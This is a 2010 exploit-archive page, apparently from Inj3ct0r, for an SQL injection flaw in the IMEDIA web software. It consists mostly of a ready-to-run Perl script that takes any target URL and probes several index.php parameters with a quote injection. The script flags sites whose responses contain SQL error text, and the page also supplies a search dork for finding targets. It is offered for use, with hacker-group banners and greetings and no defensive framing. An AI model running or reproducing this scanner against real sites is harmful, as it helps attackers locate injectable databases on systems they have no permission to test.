Home / os / win7

IMEDIA (index.php) SQL Injection Vulnerability

Posted on 20 May 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>IMEDIA (index.php) SQL Injection Vulnerability</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>==============================================
IMEDIA (index.php) SQL Injection Vulnerability
==============================================


# Exploit Titre: IMEDIA (index.php) SQL Injection Vulnerability
# Date: 19-05-2010
# Auteur: Kannibal615
# Link Software: N/A
# Version: N/A
# Test? sur: ALL
# CVE: N/A
# Code:
 
# DORK : Powered by: Con-Imedia
 
 
#!usr/bin/perl -w
 
use HTTP::Request;
use LWP::UserAgent;
 
system (&quot;cls&quot;);
print &quot;
&quot;;
print &quot;  @@    @@  @@@@@@     @@    @@    @@@@    @@@@@@@  @@  @@   @@@@@@@  @@@@@
&quot;;
print &quot;  @@    @@  @@   @@    @@    @@   @@  @@   @@       @@ @@    @@       @@   @@
&quot;;
print &quot;  @@    @@  @@ @@@     @@@@@@@@  @@    @@  @@       @@@@     @@@@@@   @@   @@
&quot;;
print &quot;   @@  @@   @@ @@@     @@@@@@@@  @@@@@@@@  @@       @@ @@    @@@@@@   @@ @@
&quot;;
print &quot;    @@@@    @@   @@    @@    @@  @@    @@  @@       @@  @@   @@       @@   @@
&quot;;
print &quot;     @@     @@@@@@     @@    @@  @@    @@  @@@@@@@  @@   @@  @@@@@@@  @@    @@

&quot;;
print &quot;                  LA ILAH ILLA ALLAH MOUHAMED RASOUL ALLAH

&quot;;
print &quot;

&quot;;
print &quot;[*]Coded By: Kannibal615 &gt; Tunisian Genius Security &gt; zn[at]live[dot]de

&quot;;
print &quot;[*]Greetz 1: My Best Friend AYMEN &gt; THE P!RATOR
&quot;;
print '[*]Greetz 2: Pc-InseCt/alghaking/emptyzero/V!Ru$_T4ckJ3n';
print &quot;
[*]Greetz 3: To All VBHACKER.NET Members
&quot;;
print &quot;[*]Dork    : Powered by: Con-Imedia
&quot;;
print &quot;[*]Usage   : k615&gt;[target here]
&quot;;
print &quot;[*]Exemple : k615&gt; www.target.com
&quot;;
print &quot;
&quot;;
print &quot;k615&gt;&quot;;
 
$input=&lt;&gt;;
chomp $input;
 
if ( $input !~ /^http:/ ) {
$input = 'http://' . $input;
}
if ( $input !~ //$/ ) {
$input = $input . '/';
}
 
 
@path=('index1.php?linkid=999.9&quot;','index1.php?sublinkid=999.9&quot;','index1.php?linkid=&amp;sublink=999.9&quot;',
'index2.php?linkid=999.9&quot;','index3.php?day=999.9&quot;');
 
foreach $ways(@path){
 
$final=$input.$ways;
 
my $req=HTTP::Request-&gt;new(GET=&gt;$final);
my $ua=LWP::UserAgent-&gt;new();
$ua-&gt;timeout(30);
my $response=$ua-&gt;request($req);
 
if($response-&gt;content =~ /sql/ ||
$response-&gt;content =~ /SQL error/ ||
$response-&gt;content =~ /SQL/ ||
$response-&gt;content =~ /syntax/ ||
$response-&gt;content =~ /Invalid query/ ||
$response-&gt;content =~ /your SQL/ ||
$response-&gt;content =~ /MySQL/ ||
$response-&gt;content =~ /at line 1/ ||
$response-&gt;content =~ /MySQL server/ ||
$response-&gt;content =~ /version for/ ||
$response-&gt;content =~ /Invalid query: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near/ ||
$response-&gt;content =~ /fetch/
){
print &quot;[+] Vulnerable -&gt; $final
&quot;;
}
else{
print &quot;[-] Not Vulner &lt;- $final
&quot;;
}
}
print &quot;

SOBHAN ALLAH
&quot;;
print &quot;press enter to exit&quot;;
$enter=&lt;&gt;;
 

#Tunisian Genius Security


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-05-20]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :